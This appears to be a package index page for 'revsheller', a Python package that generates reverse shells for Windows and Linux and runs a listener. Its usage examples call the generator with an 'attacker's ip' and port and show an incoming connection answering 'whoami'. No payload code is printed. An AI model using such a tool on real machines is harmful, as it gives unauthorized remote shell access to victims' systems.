Skip to main content

revsheller - Easy to generate reverse shells and build a server

Project description

revsheller - pip revsheller package

Easy to generate reverse shells and build a server.

Note: This package is only for Linux or unix like system.

How to install

Take it easy, just a pip.

How to use

To create reverse shells

>>> import revsheller as rev
>>> rev.generate(os, mode, ip, port=4444, sh=None, nc_path=None)

os - windows / linux

mode - nc:netcat / sh:shell / powershell

ip - attacker's ip address

port - attacker's port

sh - shell of victim's machine, not required

nc_path - netcat path on victim's machine, not required

Example for windows

>>> rev.generate('windows', 'powershell', '127.0.0.1', 4444)

Example for linux / unix

>>> rev.generate('linux', 'sh', '127.0.0.1', 4444, sh='/bin/bash')

To wait a connection

>>> revsheller.wait_for_connection(4444)
listening on [any] 4444 ...

To run a command automaticaly when get response

>>> revsheller.wait_for_connection(4444, 'whoami')
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 54364
ayato

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

revsheller-0.1.0.tar.gz (3.0 kB view hashes)

Uploaded Source

Built Distribution

revsheller-0.1.0-py3-none-any.whl (3.1 kB view hashes)

Uploaded Python 3

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Microsoft Microsoft PSF Sponsor Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page